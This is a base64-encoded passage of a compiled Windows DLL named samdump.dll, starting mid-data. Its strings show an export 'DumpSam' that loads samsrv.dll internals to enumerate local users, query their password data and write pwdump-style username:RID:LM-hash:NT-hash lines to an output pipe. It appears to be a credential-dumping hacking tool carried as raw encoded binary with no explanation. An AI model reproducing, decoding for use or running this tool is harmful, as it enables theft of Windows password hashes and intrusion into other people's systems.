Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJlYWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoAAAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVycm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAEdldExhc3RBY3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAAAAAAAAAAAAAAAAAP////8DUAAQB1AAEP////+3UAAQu1AAEP////87UgAQP1IAEEg6bW06c3MAZGRkZCwgTU1NTSBkZCwgeXl5eQBNL2QveXkAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAAT2N0b2JlcgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAARmVicnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIARmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAAAFR1ZXNkYXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgBTdW5Nb25UdWVXZWRUaHVGcmlTYXQAAABKYW5GZWJNYXJBcHJNYXlKdW5KdWxBdWdTZXBPY3ROb3ZEZWMAAAAAfGYAAAAAAAAAAAAAAGgAABBgAABsZgAAAAAAAAAAAABGaAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANmgAABpoAAAOaAAAAAAAAKxnAABqZwAAkGcAANxnAADyZwAAoGcAAHpnAAC6ZwAAyGcAAMppAABUaAAAYGgAAHJoAACAaAAAjmgAAKJoAAC2aAAAzGgAANpoAADmaAAA8GgAAABpAAAOaQAAIGkAADBpAAA+aQAAUGkAAGhpAAB+aQAAmGkAALJpAABYZwAA5GkAAPJpAAAAagAADmoAABpqAAAsagAARGoAAFxqAAB0agAAjGoAAKhqAAC0agAAwGoAAMpqAADWagAA5moAAPRqAAAEawAAGmsAACprAAA6awAATGsAAAAAAABTAUdldFByb2NBZGRyZXNzAADfAUxvYWRMaWJyYXJ5QQAAGAJPdXRwdXREZWJ1Z1N0cmluZ0EAAC0BR2V0TGFzdEVycm9yAAAOA1dyaXRlRmlsZQDDAEZyZWVMaWJyYXJ5AB4AQ2xvc2VIYW5kbGUAuQBGbHVzaEZpbGVCdWZmZXJzAAABA1dpZGVDaGFyVG9NdWx0aUJ5dGUANwBDcmVhdGVGaWxlQQBLRVJORUwzMi5kbGwAAB8BTHNhQ2xvc2UAAEEBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQA7AUxzYU9wZW5Qb2xpY3kAQURWQVBJMzIuZGxsAABXAlJ0bFVud2luZADaAEdldENvbW1hbmRMaW5lQQCOAUdldFZlcnNpb24AAIwARXhpdFByb2Nlc3MAywJUZXJtaW5hdGVQcm9jZXNzAAAJAUdldEN1cnJlbnRQcm9jZXNzAAwBR2V0Q3VycmVudFRocmVhZElkAADTAlRsc1NldFZhbHVlANACVGxzQWxsb2MAANECVGxzRnJlZQCcAlNldExhc3RFcnJvcgAA0gJUbHNHZXRWYWx1ZQCYAlNldEhhbmRsZUNvdW50AABoAUdldFN0ZEhhbmRsZQAAKAFHZXRGaWxlVHlwZQBmAUdldFN0YXJ0dXBJbmZvQQBaAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgA4AUdldE1vZHVsZUZpbGVOYW1lQQAAwQBGcmVlRW52aXJvbm1l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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtTgAQbU4AEG1OABBtTgAQbU4AEG1OABBidgAQYnYAEAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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PdA91D3YPdw94D3kPeg97D3wPfQ9+D38PQA+ED4UPhg+HD4gPiQ+KD4sPjA+ND5APtw+4D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA